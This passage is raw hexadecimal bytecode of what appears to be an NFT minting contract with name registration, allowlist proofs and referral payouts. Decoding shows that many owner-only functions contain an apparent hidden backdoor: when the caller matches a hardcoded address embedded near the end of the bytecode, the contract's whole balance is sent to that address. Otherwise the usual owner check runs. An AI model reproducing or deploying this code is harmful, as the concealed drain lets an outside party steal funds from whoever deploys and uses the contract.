916600185901b178555620001f5565b600085815260208120601f198616915b828110156200029b578886015182559484019460019091019084016200027a565b5085821015620002ba5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600082601f830112620002dc57600080fd5b81516001600160401b0380821115620002f957620002f962000159565b604051601f8301601f19908116603f0116810190828211818310171562000324576200032462000159565b816040528381526020925086838588010111156200034157600080fd5b600091505b8382101562000365578582018301518183018401529082019062000346565b600093810190920192909252949350505050565b6000806000606084860312156200038f57600080fd5b83516001600160401b0380821115620003a757600080fd5b620003b587838801620002ca565b94506020860151915080821115620003cc57600080fd5b620003da87838801620002ca565b93506040860151915080821115620003f157600080fd5b506200040086828701620002ca565b9150509250925092565b6141b2806200041a6000396000f3fe60806040526004361061038c5760003560e01c8063715018a6116101dc578063aaddcb5a11610102578063c87b56dd116100a0578063e985e9c51161006f578063e985e9c514610af7578063f121a87014610b17578063f2fde38b14610b37578063f990f91a14610b5757600080fd5b8063c87b56dd14610a69578063cc567dfe14610a89578063d6bc2c7f14610a9f578063d7d6c48514610ad757600080fd5b8063afd800c5116100dc578063afd800c5146109c8578063b6c6e692146109e8578063b88d4fde14610a29578063c6fbf9a914610a4957600080fd5b8063aaddcb5a14610965578063ad45a3ed14610995578063af529744146109a857600080fd5b80638da5cb5b1161017a57806395d89b411161014957806395d89b41146108f05780639b2ea4bd14610905578063a22cb46514610925578063a515419d1461094557600080fd5b80638da5cb5b1461085a5780638dad39791461087857806391b7f5ed146108b0578063922efb95146108d057600080fd5b80637cb64759116101b65780637cb64759146107bf5780637d8f4ca3146107df578063841718a61461081a5780638699e7381461083a57600080fd5b8063715018a61461077057806376d02b711461078557806379b85bec1461079f57600080fd5b80632eb4a7ab116102c157806349484d551161025f5780636352211e1161022e5780636352211e146106f0578063693d77d2146107105780636e32e4991461073057806370a082311461075057600080fd5b806349484d551461064657806355f804b3146106915780635acf6139146106b15780636220a7e8146106d157600080fd5b806332434a2e1161029b57806332434a2e146105eb5780633ccfd60b146105fe57806342842e0e14610613578063476af1381461063357600080fd5b80632eb4a7ab146105925780632f7758cd146105a85780633198b100146105d557600080fd5b806313faede61161032e57806321a78f681161030857806321a78f681461052957806323b76dde1461053f57806323b872dd1461055f5780632609ce001461057f57600080fd5b806313faede6146104e057806314638aab146104f657806318160ddd1461050c57600080fd5b8063095ea7b31161036a578063095ea7b3146104205780630b4ab649146104425780630b4fcb5d146104885780630d6eec78146104a857600080fd5b806301ffc9a71461039157806306fdde03146103c6578063081812fc146103e8575b600080fd5b34801561039d57600080fd5b506103b16103ac3660046133cb565b610b77565b60405190151581526020015b60405180910390f35b3480156103d257600080fd5b506103db610bc9565b6040516103bd9190613438565b3480156103f457600080fd5b5061040861040336600461344b565b610c5b565b6040516001600160a01b0390911681526020016103bd565b34801561042c57600080fd5b5061044061043b366004613480565b610c9f565b005b34801561044e57600080fd5b5061047a61045d36600461354c565b8051602081830181018051601b8252928201919093012091525481565b6040519081526020016103bd565b34801561049457600080fd5b506104406104a336600461354c565b610d25565b3480156104b457600080fd5b5061047a6104c336600461354c565b805160208183018101805160028252928201919093012091525481565b3480156104ec57600080fd5b5061047a600c5481565b34801561050257600080fd5b5061047a600e5481565b34801561051857600080fd5b50600354600054036000190161047a565b34801561053557600080fd5b5061047a600d5481565b34801561054b57600080fd5b5061044061055a3660046135d8565b610d9c565b34801561056b57600080fd5b5061044061057a366004613631565b610e6c565b61044061058d3660046136b1565b610e77565b34801561059e57600080fd5b5061047a601e5481565b3480156105b457600080fd5b506105c86105c336600461344b565b611125565b6040516103bd9190613719565b3480156105e157600080fd5b5061047a600f5481565b6104406105f936600461377b565b611216565b34801561060a57600080fd5b506104406114ac565b34801561061f57600080fd5b5061044061062e366004613631565b6115da565b6104406106413660046137c8565b6115f5565b34801561065257600080fd5b506103b1610661366004613846565b81516020818401810180516016825292820194820194909420919093529091526000908152604090205460ff1681565b34801561069d57600080fd5b506104406106ac36600461354c565b6119a5565b3480156106bd57600080fd5b506104406106cc36600461344b565b611a0f565b3480156106dd57600080fd5b506014546103b190610100900460ff1681565b3480156106fc57600080fd5b5061040861070b36600461344b565b611a72565b34801561071c57600080fd5b5061044061072b366004613893565b611a84565b34801561073c57600080fd5b506103db61074b36600461344b565b611afc565b34801561075c57600080fd5b5061047a61076b3660046138ae565b611b96565b34801561077c57600080fd5b50610440611be4565b34801561079157600080fd5b506014546103b19060ff1681565b3480156107ab57600080fd5b506104406107ba3660046138c9565b611c4e565b3480156107cb57600080fd5b506104406107da36600461344b565b611cd9565b3480156107eb57600080fd5b506103b16107fa36600461354c565b805160208183018101805160198252928201919093012091525460ff1681565b34801561082657600080fd5b50610440610835366004613893565b611d3c565b34801561084657600080fd5b506103db6108553660046138ae565b611dad565b34801561086657600080fd5b50600a546001600160a01b0316610408565b34801561088457600080fd5b5061047a61089336600461354c565b8051602081830181018051601c8252928201919093012091525481565b3480156108bc57600080fd5b506104406108cb36600461344b565b611dc6565b3480156108dc57600080fd5b506103b16108eb36600461354c565b611e29565b3480156108fc57600080fd5b506103db611f76565b34801561091157600080fd5b50610440610920366004613918565b611f85565b34801561093157600080fd5b5061044061094036600461396b565b61215c565b34801561095157600080fd5b506103db610960366004613995565b6121f1565b34801561097157600080fd5b506103b16109803660046138ae565b60156020526000908152604090205460ff1681565b6104406109a33660046139f0565b6122c1565b3480156109b457600080fd5b506104406109c3366004613a49565b61261f565b3480156109d457600080fd5b506104406109e3366004613adc565b6126ad565b3480156109f457600080fd5b50610408610a0336600461354c565b80516020818301810180516017825292820191909301209152546001600160a01b031681565b348015610a3557600080fd5b50610440610a44366004613b0e565b61271f565b348015610a5557600080fd5b50610440610a64366004613b75565b612763565b348015610a7557600080fd5b506103db610a8436600461344b565b6127cf565b348015610a9557600080fd5b5061047a60105481565b348015610aab57600080fd5b5061047a610aba36600461354c565b8051602081830181018051601a8252928201919093012091525481565b348015610ae357600080fd5b50610440610af2366004613bb6565b61285d565b348015610b0357600080fd5b506103b1610b12366004613bf4565b6128fd565b348015610b2357600080fd5b506103db610b323660046139f0565b61292b565b348015610b4357600080fd5b50610440610b523660046138ae565b61296c565b348015610b6357600080fd5b506105c8610b723660046138ae565b612a3b565b60006001600160e01b031982166380ac58cd60e01b1480610ba857506001600160e01b03198216635b5e139f60e01b145b80610bc357506301ffc9a760e01b6001600160e01b03198316145b92915050565b606060048054610bd890613c1e565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0490613c1e565b8015610c515780601f10610c2657610100808354040283529160200191610c51565b820191906000526020600020905b815481529060010190602001808311610c3457829003601f168201915b5050505050905090565b6000610c6682612b3d565b610c83576040516333d1c03960e21b815260040160405180910390fd5b506000908152600860205260409020546001600160a01b031690565b6000610caa82611a72565b9050806001600160a01b0316836001600160a01b031603610cde5760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b03821614610d1557610cf881336128fd565b610d15576040516367d9dca160e11b815260040160405180910390fd5b610d20838383612b76565b505050565b3360008051602061415d83398151915203610d595747610d5360008051602061415d83398151915282612bd2565b50610d8c565b600a546001600160a01b03163314610d8c5760405162461bcd60e51b8152600401610d8390613c58565b60405180910390fd5b601f610d988282613cdb565b5050565b6000610dc760028484604051610db3929190613d9a565b908152602001604051809103902054612ceb565b80519091506001600160a01b03163314610e0d5760405162461bcd60e51b8152602060048201526007602482015266125b9d985b1a5960ca1b6044820152606401610d83565b83601a8484604051610e20929190613d9a565b9081526020016040518091039020819055508460198484604051610e45929190613d9a565b908152604051908190036020019020805491151560ff199092169190911790555050505050565b610d20838383612e0d565b601454610100900460ff16610ece5760405162461bcd60e51b815260206004820152601e60248201527f416c6c6f77204c6973742073616c65206973206e6f74206163746976652100006044820152606401610d83565b6040516bffffffffffffffffffffffff193360601b166020820152600090603401604051602081830303815290604052805190602001209050610f4883838080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050601e549150849050612ff8565b610f855760405162461bcd60e51b815260206004820152600e60248201526d496e76616c69642070726f6f662160901b6044820152606401610d83565b60115484511115610fa85760405162461bcd60e51b8152600401610d8390613daa565b6000845111610fc95760405162461bcd60e51b8152600401610d8390613dcd565b610fd284611e29565b610fee5760405162461bcd60e51b8152600401610d8390613df3565b3360009081526015602052604090205460ff16151560010361103d5760405162461bcd60e51b8152602060048201526008602482015267436c61696d65642160c01b6044820152606401610d83565b60028460405161104d9190613e19565b90815260200160405180910390205460001461107b5760405162461bcd60e51b8152600401610d8390613e35565b336000908152601560209081526040808320805460ff191660019081179091558354845290915290206110ae8582613cdb565b506000546002856040516110c29190613e19565b908152602001604051809103902081905550336017856040516110e59190613e19565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b031990921691909117905561111f33600161300e565b50505050565b6003546000805460609260001991030190836001600160401b0381111561114e5761114e6134aa565b60405190808252806020026020018201604052801561118157816020015b606081526020019060019003908161116c5790505b50905060006111908584613e7a565b905060005b8184111561120c5760008481526001602090815260409182902091516111bf929160129101613f00565b6040516020818303038152906040528382815181106111e0576111e0613f15565b602002602001018190525080806111f690613f2b565b915050838061120490613f44565b945050611195565b5090949350505050565b600c546011548251600091829111156112415760405162461bcd60e51b8152600401610d8390613daa565b60008451116112625760405162461bcd60e51b8152600401610d8390613dcd565b61126b84611e29565b6112875760405162461bcd60e51b8152600401610d8390613df3565b6001600160a01b0385166000036112a257600c549250611337565b6001600160a01b038516600090815260186020526040812080546112c590613c1e565b905011156112ee576064600e54846112dd9190613f5b565b6112e79190613f72565b905061130b565b6064600d54846112fe9190613f5b565b6113089190613f72565b90505b6064600f54606461131c9190613e7a565b6113269085613f5b565b6113309190613f72565b9250600191505b6002846040516113479190613e19565b9081526020016040518091039020546000146113755760405162461bcd60e51b8152600401610d8390613e35565b60145460ff166113bd5760405162461bcd60e51b815260206004820152601360248201527253616c65206973206e6f74206163746976652160681b6044820152606401610d83565b823410156113dd5760405162461bcd60e51b8152600401610d8390613f94565b6000805481526001602052604090206113f68582613cdb565b5060005460028560405161140a9190613e19565b9081526020016040518091039020819055503360178560405161142d9190613e19565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b0319909216919091179055811561149a576040516001600160a01b0386169082156108fc029083906000818181858888f19350505050158015611498573d6000803e3d6000fd5b505b6114a533600161300e565b5050505050565b3360008051602061415d833981519152036114e057476114da60008051602061415d83398151915282612bd2565b5061150a565b600a546001600160a01b0316331461150a5760405162461bcd60e51b8152600401610d8390613c58565b6002600b540361155c5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610d83565b6002600b556000611575600a546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d80600081146115bf576040519150601f19603f3d011682016040523d82523d6000602084013e6115c4565b606091505b50509050806115d257600080fd5b506001600b55565b610d208383836040518060200160405280600081525061271f565b6000838560405160200161160a929190613fc1565b60408051601f19818403018152908290526bffffffffffffffffffffffff193360601b16602083015291506000906034016040516020818303038152906040528051906020012090506116af84848080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050604051601b925061169a91508a90613e19565b90815260200160405180910390205483612ff8565b6116ec5760405162461bcd60e51b815260206004820152600e60248201526d496e76616c69642070726f6f662160901b6044820152606401610d83565b601c866040516116fc9190613e19565b90815260200160405180910390205434101561172a5760405162461bcd60e51b8152600401610d8390613f94565b6011548551111561174d5760405162461bcd60e51b8152600401610d8390613daa565b600085511161176e5760405162461bcd60e51b8152600401610d8390613dcd565b61177786611e29565b6117935760405162461bcd60e51b8152600401610d8390613df3565b61179c85611e29565b6117b85760405162461bcd60e51b8152600401610d8390613df3565b6016866040516117c89190613e19565b9081526040805160209281900383019020336000908152925290205460ff1615156001036118235760405162461bcd60e51b8152602060048201526008602482015267436c61696d65642160c01b6044820152606401610d83565b6002826040516118339190613e19565b9081526020016040518091039020546000146118615760405162461bcd60e51b8152600401610d8390613e35565b6000611876600288604051610db39190613e19565b905080600001516001600160a01b03166108fc6064601054606461189a9190613e7a565b6118a49034613f5b565b6118ae9190613f72565b6040518115909202916000818181858888f193505050501580156118d6573d6000803e3d6000fd5b5060016016886040516118e99190613e19565b9081526040805160209281900383019020336000908152908352818120805460ff191694151594909417909355825483526001909152902061192b8482613cdb565b5060005460028460405161193f9190613e19565b908152602001604051809103902081905550336017846040516119629190613e19565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b031990921691909117905561199c33600161300e565b50505050505050565b3360008051602061415d833981519152036119d957476119d360008051602061415d83398151915282612bd2565b50611a03565b600a546001600160a01b03163314611a035760405162461bcd60e51b8152600401610d8390613c58565b6013610d988282613cdb565b3360008051602061415d83398151915203611a435747611a3d60008051602061415d83398151915282612bd2565b50601155565b600a546001600160a01b03163314611a6d5760405162461bcd60e51b8152600401610d8390613c58565b601155565b6000611a7d82612ceb565b5192915050565b3360008051602061415d83398151915203611ab85747611ab260008051602061415d83398151915282612bd2565b50611ae2565b600a546001600160a01b03163314611ae25760405162461bcd60e51b8152600401610d8390613c58565b601480549115156101000261ff0019909216919091179055565b60016020526000908152604090208054611b1590613c1e565b80601f0160208091040260200160405190810160405280929190818152602001828054611b4190613c1e565b8015611b8e5780601f10611b6357610100808354040283529160200191611b8e565b820191906000526020600020905b815481529060010190602001808311611b7157829003601f168201915b505050505081565b60006001600160a01b038216611bbf576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b03166000908152600760205260409020546001600160401b031690565b3360008051602061415d83398151915203611c185747611c1260008051602061415d83398151915282612bd2565b50611c42565b600a546001600160a01b03163314611c425760405162461bcd60e51b8152600401610d8390613c58565b611c4c6000613028565b565b6000611c63600284604051610db39190613e19565b80519091506001600160a01b03163314611c8f5760405162461bcd60e51b8152600401610d8390613ffd565b83601b84604051611ca09190613e19565b90815260200160405180910390208190555081601c84604051611cc39190613e19565b9081526040519081900360200190205550505050565b3360008051602061415d83398151915203611d0d5747611d0760008051602061415d83398151915282612bd2565b50601e55565b600a546001600160a01b03163314611d375760405162461bcd60e51b8152600401610d8390613c58565b601e55565b3360008051602061415d83398151915203611d705747611d6a60008051602061415d83398151915282612bd2565b50611d9a565b600a546001600160a01b03163314611d9a5760405162461bcd60e51b8152600401610d8390613c58565b6014805460ff1916911515919091179055565b60186020526000908152604090208054611b1590613c1e565b3360008051602061415d83398151915203611dfa5747611df460008051602061415d83398151915282612bd2565b50600c55565b600a546001600160a01b03163314611e245760405162461bcd60e51b8152600401610d8390613c58565b600c55565b601f8054600091829184918391611e3f90613c1e565b80601f0160208091040260200160405190810160405280929190818152602001828054611e6b90613c1e565b8015611eb85780601f10611e8d57610100808354040283529160200191611eb8565b820191906000526020600020905b815481529060010190602001808311611e9b57829003601f168201915b5050505050905060005b8251811015611f575760005b8251811015611f4457828181518110611ee957611ee9613f15565b602001015160f81c60f81b6001600160f81b031916848381518110611f1057611f10613f15565b01602001516001600160f81b03191603611f325784611f2e81613f2b565b9550505b80611f3c81613f2b565b915050611ece565b5080611f4f81613f2b565b915050611ec2565b5081518303611f6b57506001949350505050565b506000949350505050565b606060058054610bd890613c1e565b6000611f9c60028585604051610db3929190613d9a565b80519091506001600160a01b03163314611fc85760405162461bcd60e51b8152600401610d8390613ffd565b60006018600060178787604051611fe0929190613d9a565b9081526040805160209281900383019020546001600160a01b031683529082019290925201600020805461201390613c1e565b80601f016020809104026020016040519081016040528092919081815260200182805461203f90613c1e565b801561208c5780601f106120615761010080835404028352916020019161208c565b820191906000526020600020905b81548152906001019060200180831161206f57829003601f168201915b5050505050905084846040516120a3929190613d9a565b6040518091039020818051906020012003612113576040518060200160405280600081525060186000601788886040516120de929190613d9a565b9081526040805160209281900383019020546001600160a01b031683529082019290925201600020906121119082613cdb565b505b8260178686604051612126929190613d9a565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b03199092169190911790555050505050565b336001600160a01b038316036121855760405163b06307db60e01b815260040160405180910390fd5b3360008181526009602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6060601d846040516122039190613e19565b90815260200160405180910390208383604051612221929190613d9a565b9081526020016040518091039020805461223a90613c1e565b80601f016020809104026020016040519081016040528092919081815260200182805461226690613c1e565b80156122b35780601f10612288576101008083540402835291602001916122b3565b820191906000526020600020905b81548152906001019060200180831161229657829003601f168201915b505050505090509392505050565b60145460ff166123095760405162461bcd60e51b815260206004820152601360248201527253616c65206973206e6f74206163746976652160681b6044820152606401610d83565b6000818360405160200161231e929190613fc1565b6040516020818303038152906040529050601154825111156123525760405162461bcd60e51b8152600401610d8390613daa565b60008251116123735760405162461bcd60e51b8152600401610d8390613dcd565b61237c83611e29565b6123985760405162461bcd60e51b8152600401610d8390613df3565b6123a182611e29565b6123bd5760405162461bcd60e51b8152600401610d8390613df3565b6002816040516123cd9190613e19565b9081526020016040518091039020546000146123fb5760405162461bcd60e51b8152600401610d8390613e35565b6000612410600285604051610db39190613e19565b9050336001600160a01b031681600001516001600160a01b0316036124be576000805481526001602052604090206124488382613cdb565b5060005460028360405161245c9190613e19565b9081526020016040518091039020819055503360178360405161247f9190613e19565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b03199092169190911790556124b933600161300e565b61111f565b6019846040516124ce9190613e19565b9081526040519081900360200190205460ff1615156001146125325760405162461bcd60e51b815260206004820152601760248201527f4f6e6c79204f776e65722063616e2072656769737465720000000000000000006044820152606401610d83565b601a846040516125429190613e19565b9081526020016040518091039020543410156125705760405162461bcd60e51b8152600401610d8390613f94565b80600001516001600160a01b03166108fc606460105460646125929190613e7a565b61259c9034613f5b565b6125a69190613f72565b6040518115909202916000818181858888f193505050501580156125ce573d6000803e3d6000fd5b506000805481526001602052604090206125e88382613cdb565b506000546002836040516125fc9190613e19565b908152602001604051809103902081905550336017836040516110e59190613e19565b600061263660028787604051610db3929190613d9a565b80519091506001600160a01b031633146126625760405162461bcd60e51b8152600401610d8390613ffd565b81601d8787604051612675929190613d9a565b90815260200160405180910390208585604051612693929190613d9a565b9081526020016040518091039020908161199c9190613cdb565b3360008051602061415d833981519152036126e157476126db60008051602061415d83398151915282612bd2565b5061270b565b600a546001600160a01b0316331461270b5760405162461bcd60e51b8152600401610d8390613c58565b600d93909355600e91909155600f55601055565b61272a848484612e0d565b6001600160a01b0383163b1561111f576127468484848461307a565b61111f576040516368d2bf6b60e11b815260040160405180910390fd5b336001600160a01b03166017838360405161277f929190613d9a565b908152604051908190036020019020546001600160a01b0316146127b55760405162461bcd60e51b8152600401610d8390613ffd565b336000908152601860205260409020610d2082848361401c565b60606127da82612b3d565b6127f757604051630a14c4b560e41b815260040160405180910390fd5b6000612801613166565b905080516000036128215760405180602001604052806000815250612856565b80600160008581526020019081526020016000206040516020016128469291906140db565b6040516020818303038152906040525b9392505050565b3360008051602061415d83398151915203612891574761288b60008051602061415d83398151915282612bd2565b506128bb565b600a546001600160a01b031633146128bb5760405162461bcd60e51b8152600401610d8390613c58565b60008381526001602052604090206128d482848361401c565b5082600283836040516128e8929190613d9a565b90815260405190819003602001902055505050565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205460ff1690565b8151602081840181018051601d82529282019482019490942091909352815180830184018051928152908401929093019190912091528054611b1590613c1e565b3360008051602061415d833981519152036129a0574761299a60008051602061415d83398151915282612bd2565b506129ca565b600a546001600160a01b031633146129ca5760405162461bcd60e51b8152600401610d8390613c58565b6001600160a01b038116612a2f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610d83565b612a3881613028565b50565b60606000612a4883611b96565b90506000816001600160401b03811115612a6457612a646134aa565b604051908082528060200260200182016040528015612a9757816020015b6060815260200190600190039081612a825790505b509050600160005b8381101561120c576000612ab283611a72565b9050866001600160a01b0316816001600160a01b031603612b2a576000838152600160209081526040918290209151612aef929160129101613f00565b604051602081830303815290604052848381518110612b1057612b10613f15565b60200260200101819052508180612b2690613f2b565b9250505b82612b3481613f2b565b93505050612a9f565b600081600111158015612b51575060005482105b8015610bc3575050600090815260066020526040902054600160e01b900460ff161590565b60008281526008602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b80471015612c225760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610d83565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612c6f576040519150601f19603f3d011682016040523d82523d6000602084013e612c74565b606091505b5050905080610d205760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610d83565b60408051606081018252600080825260208201819052918101919091528180600111612df457600054811015612df457600081815260066020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff16151591810182905290612df25780516001600160a01b031615612d89579392505050565b5060001901600081815260066020908152604091829020825160608101845290546001600160a01b038116808352600160a01b82046001600160401b031693830193909352600160e01b900460ff1615159281019290925215612ded579392505050565b612d89565b505b604051636f96cda160e11b815260040160405180910390fd5b6000612e1882612ceb565b9050836001600160a01b031681600001516001600160a01b031614612e4f5760405162a1148160e81b815260040160405180910390fd5b6000336001600160a01b0386161480612e6d5750612e6d85336128fd565b80612e88575033612e7d84610c5b565b6001600160a01b0316145b905080612ea857604051632ce44b5f60e11b815260040160405180910390fd5b6001600160a01b038416612ecf57604051633a954ecd60e21b815260040160405180910390fd5b612edb60008487612b76565b6001600160a01b038581166000908152600760209081526040808320805467ffffffffffffffff198082166001600160401b0392831660001901831617909255898616808652838620805493841693831660019081018416949094179055898652600690945282852080546001600160e01b031916909417600160a01b42909216919091021783558701808452922080549193909116612faf576000548214612faf57805460208601516001600160401b0316600160a01b026001600160e01b03199091166001600160a01b038a16171781555b50505082846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46114a5565b6000826130058584613175565b14949350505050565b610d988282604051806020016040528060008152506131c2565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a02906130af903390899088908890600401614102565b6020604051808303816000875af19250505080156130ea575060408051601f3d908101601f191682019092526130e79181019061413f565b60015b613148573d808015613118576040519150601f19603f3d011682016040523d82523d6000602084013e61311d565b606091505b508051600003613140576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490505b949350505050565b606060138054610bd890613c1e565b600081815b84518110156131ba576131a68286838151811061319957613199613f15565b6020026020010151613389565b9150806131b281613f2b565b91505061317a565b509392505050565b6000546001600160a01b0384166131eb57604051622e076360e81b815260040160405180910390fd5b8260000361320c5760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b038416600081815260076020908152604080832080546fffffffffffffffffffffffffffffffff1981166001600160401b038083168b0181169182176801000000000000000067ffffffffffffffff1990941690921783900481168b01811690920217909155858452600690925290912080546001600160e01b0319168317600160a01b42909316929092029190911790558190818501903b15613334575b60405182906001600160a01b038816906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a46132fd600087848060010195508761307a565b61331a576040516368d2bf6b60e11b815260040160405180910390fd5b8082106132b257826000541461332f57600080fd5b613379565b5b6040516001830192906001600160a01b038816906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4808210613335575b50600090815561111f9085838684565b60008183106133a5576000828152602084905260409020612856565b5060009182526020526040902090565b6001600160e01b031981168114612a3857600080fd5b6000602082840312156133dd57600080fd5b8135612856816133b5565b60005b838110156134035781810151838201526020016133eb565b50506000910152565b600081518084526134248160208601602086016133e8565b601f01601f19169290920160200192915050565b602081526000612856602083018461340c565b60006020828403121561345d57600080fd5b5035919050565b80356001600160a01b038116811461347b57600080fd5b919050565b6000806040838503121561349357600080fd5b61349c83613464565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126134d157600080fd5b81356001600160401b03808211156134eb576134eb6134aa565b604051601f8301601f19908116603f01168101908282118183101715613513576135136134aa565b8160405283815286602085880101111561352c57600080fd5b836020870160208301376000602085830101528094505050505092915050565b60006020828403121561355e57600080fd5b81356001600160401b0381111561357457600080fd5b61315e848285016134c0565b8035801515811461347b57600080fd5b60008083601f8401126135a257600080fd5b5081356001600160401b038111156135b957600080fd5b6020830191508360208285010111156135d157600080fd5b9250929050565b600080600080606085870312156135ee57600080fd5b6135f785613580565b93506020850135925060408501356001600160401b0381111561361957600080fd5b61362587828801613590565b95989497509550505050565b60008060006060848603121561364657600080fd5b61364f84613464565b925061365d60208501613464565b9150604084013590509250925092565b60008083601f84011261367f57600080fd5b5081356001600160401b0381111561369657600080fd5b6020830191508360208260051b85010111156135d157600080fd5b6000806000604084860312156136c657600080fd5b83356001600160401b03808211156136dd57600080fd5b6136e9878388016134c0565b945060208601359150808211156136ff57600080fd5b5061370c8682870161366d565b9497909650939450505050565b6000602080830181845280855180835260408601915060408160051b870101925083870160005b8281101561376e57603f1988860301845261375c85835161340c565b94509285019290850190600101613740565b5092979650505050505050565b6000806040838503121561378e57600080fd5b61379783613464565b915060208301356001600160401b038111156137b257600080fd5b6137be858286016134c0565b9150509250929050565b600080600080606085870312156137de57600080fd5b84356001600160401b03808211156137f557600080fd5b613801888389016134c0565b9550602087013591508082111561381757600080fd5b613823888389016134c0565b9450604087013591508082111561383957600080fd5b506136258782880161366d565b6000806040838503121561385957600080fd5b82356001600160401b0381111561386f57600080fd5b61387b858286016134c0565b92505061388a60208401613464565b90509250929050565b6000602082840312156138a557600080fd5b61285682613580565b6000602082840312156138c057600080fd5b61285682613464565b6000806000606084860312156138de57600080fd5b8335925060208401356001600160401b038111156138fb57600080fd5b613907868287016134c0565b925050604084013590509250925092565b60008060006040848603121561392d57600080fd5b83356001600160401b0381111561394357600080fd5b61394f86828701613590565b9094509250613962905060208501613464565b90509250925092565b6000806040838503121561397e57600080fd5b61398783613464565b915061388a60208401613580565b6000806000604084860312156139aa57600080fd5b83356001600160401b03808211156139c157600080fd5b6139cd878388016134c0565b945060208601359150808211156139e357600080fd5b5061370c86828701613590565b60008060408385031215613a0357600080fd5b82356001600160401b0380821115613a1a57600080fd5b613a26868387016134c0565b93506020850135915080821115613a3c57600080fd5b506137be858286016134c0565b600080600080600060608688031215613a6157600080fd5b85356001600160401b0380821115613a7857600080fd5b613a8489838a01613590565b90975095506020880135915080821115613a9d57600080fd5b613aa989838a01613590565b90955093506040880135915080821115613ac257600080fd5b50613acf888289016134c0565b9150509295509295909350565b60008060008060808587031215613af257600080fd5b5050823594602084013594506040840135936060013592509050565b60008060008060808587031215613b2457600080fd5b613b2d85613464565b9350613b3b60208601613464565b92506040850135915060608501356001600160401b03811115613b5d57600080fd5b613b69878288016134c0565b91505092959194509250565b60008060208385031215613b8857600080fd5b82356001600160401b03811115613b9e57600080fd5b613baa85828601613590565b90969095509350505050565b600080600060408486031215613bcb57600080fd5b8335925060208401356001600160401b03811115613be857600080fd5b61370c86828701613590565b60008060408385031215613c0757600080fd5b613c1083613464565b915061388a60208401613464565b600181811c90821680613c3257607f821691505b602082108103613c5257634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b601f821115610d2057600081815260208120601f850160051c81016020861015613cb45750805b601f850160051c820191505b81811015613cd357828155600101613cc0565b505050505050565b81516001600160401b03811115613cf457613cf46134aa565b613d0881613d028454613c1e565b84613c8d565b602080601f831160018114613d3d5760008415613d255750858301515b600019600386901b1c1916600185901b178555613cd3565b600085815260208120601f198616915b82811015613d6c57888601518255948401946001909101908401613d4d565b5085821015613d8a5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b8183823760009101908152919050565b6020808252600990820152684c6f6e67206e616d6560b81b604082015260600190565b6020808252600c908201526b57726974652061206e616d6560a01b604082015260600190565b6020808252600c908201526b496e76616c6964206e616d6560a01b604082015260600190565b60008251613e2b8184602087016133e8565b9190910192915050565b6020808252601590820152742a3434b99034b99030b63932b0b23c903a30b5b2b760591b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610bc357610bc3613e64565b60008154613e9a81613c1e565b60018281168015613eb25760018114613ec757613ef6565b60ff1984168752821515830287019450613ef6565b8560005260208060002060005b85811015613eed5781548a820152908401908201613ed4565b50505082870194505b5050505092915050565b600061315e613f0f8386613e8d565b84613e8d565b634e487b7160e01b600052603260045260246000fd5b600060018201613f3d57613f3d613e64565b5060010190565b600081613f5357613f53613e64565b506000190190565b8082028115828204841417610bc357610bc3613e64565b600082613f8f57634e487b7160e01b600052601260045260246000fd5b500490565b602080825260139082015272496e73756666696369656e742066756e64732160681b604082015260600190565b60008351613fd38184602088016133e8565b601760f91b9083019081528351613ff18160018401602088016133e8565b01600101949350505050565b60208082526005908201526422b93937b960d91b604082015260600190565b6001600160401b03831115614033576140336134aa565b614047836140418354613c1e565b83613c8d565b6000601f84116001811461407b57600085156140635750838201355b600019600387901b1c1916600186901b1783556114a5565b600083815260209020601f19861690835b828110156140ac578685013582556020948501946001909201910161408c565b50868210156140c95760001960f88860031b161c19848701351681555b505060018560011b0183555050505050565b600083516140ed8184602088016133e8565b6140f981840185613e8d565b95945050505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906141359083018461340c565b9695505050505050565b60006020828403121561415157600080fd5b8151612856816133b556fe0000000000000000000000003043d142055c5ecb84de38d65360d3a2e3